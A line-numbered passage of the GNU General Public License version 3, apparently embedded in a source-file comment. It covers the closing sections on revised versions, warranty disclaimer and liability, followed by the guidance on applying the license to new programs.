637 | permission to link or combine any covered work with a work licensed
638 | under version 3 of the GNU Affero General Public License into a single
639 | combined work, and to convey the resulting work. The terms of this
640 | License will continue to apply to the part which is the covered work,
641 | but the special requirements of the GNU Affero General Public License,
642 | section 13, concerning interaction through a network will apply to the
643 | combination as such.
644 |
645 | 14. Revised Versions of this License.
646 |
647 | The Free Software Foundation may publish revised and/or new versions of
648 | the GNU General Public License from time to time. Such new versions will
649 | be similar in spirit to the present version, but may differ in detail to
650 | address new problems or concerns.
651 |
652 | Each version is given a distinguishing version number. If the
653 | Program specifies that a certain numbered version of the GNU General
654 | Public License "or any later version" applies to it, you have the
655 | option of following the terms and conditions either of that numbered
656 | version or of any later version published by the Free Software
657 | Foundation. If the Program does not specify a version number of the
658 | GNU General Public License, you may choose any version ever published
659 | by the Free Software Foundation.
660 |
661 | If the Program specifies that a proxy can decide which future
662 | versions of the GNU General Public License can be used, that proxy's
663 | public statement of acceptance of a version permanently authorizes you
664 | to choose that version for the Program.
665 |
666 | Later license versions may give you additional or different
667 | permissions. However, no additional obligations are imposed on any
668 | author or copyright holder as a result of your choosing to follow a
669 | later version.
670 |
671 | 15. Disclaimer of Warranty.
672 |
673 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
674 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
675 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
676 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
677 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
678 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
679 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
680 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
681 |
682 | 16. Limitation of Liability.
683 |
684 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
685 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
686 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
687 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
688 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
689 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
690 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
691 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
692 | SUCH DAMAGES.
693 |
694 | 17. Interpretation of Sections 15 and 16.
695 |
696 | If the disclaimer of warranty and limitation of liability provided
697 | above cannot be given local legal effect according to their terms,
698 | reviewing courts shall apply local law that most closely approximates
699 | an absolute waiver of all civil liability in connection with the
700 | Program, unless a warranty or assumption of liability accompanies a
701 | copy of the Program in return for a fee.
702 |
703 | END OF TERMS AND CONDITIONS
704 |
705 | How to Apply These Terms to Your New Programs
706 |
707 | If you develop a new program, and you want it to be of the greatest
708 | possible use to the public, the best way to achieve this is to make it
709 | free software which everyone can redistribute and change under these terms.
710 |
711 | To do so, attach the following notices to the program. It is safest
712 | to attach them to the start of each source file to most effectively
713 | state the exclusion of warranty; and each file should have at least
714 | the "copyright" line and a pointer to where the full notice is found.
715 |
716 |
717 | Copyright (C)
718 |
719 | This program is free software: you can redistribute it and/or modify
720 | it under the terms of the GNU General Public License as published by
721 | the Free Software Foundation, either version 3 of the License, or
722 | (at your option) any later version.
723 |
724 | This program is distributed in the hope that it will be useful,
725 | but WITHOUT ANY WARRANTY; without even the implied warranty of
726 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
727 | GNU General Public License for more details.
728 |
729 | You should have received a copy of the GNU General Public License
730 | along with this program. If not, see .
731 |
732 | Also add information on how to contact you by electronic and paper mail.
733 |
734 | If the program does terminal interaction, make it output a short
735 | notice like this when it starts in an interactive mode:
736 |
737 | Copyright (C)
738 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
739 | This is free software, and you are welcome to redistribute it
740 | under certain conditions; type `show c' for details.
741 |
742 | The hypothetical commands `show w' and `show c' should show the appropriate
743 | parts of the General Public License. Of course, your program's commands
744 | might be different; for a GUI interface, you would use an "about box".
745 |
746 | You should also get your employer (if you work as a programmer) or school,
747 | if any, to sign a "copyright disclaimer" for the program, if necessary.
748 | For more information on this, and how to apply and follow the GNU GPL, see
749 | .
750 |
751 | The GNU General Public License does not permit incorporating your program
752 | into proprietary programs. If your program is a subroutine library, you
753 | may consider it more useful to permit linking proprietary applications with
754 | the library. If this is what you want to do, use the GNU Lesser General
755 | Public License instead of this License. But first, please read
756 | .
757 |
758 | */
759 |
--------------------------------------------------------------------------------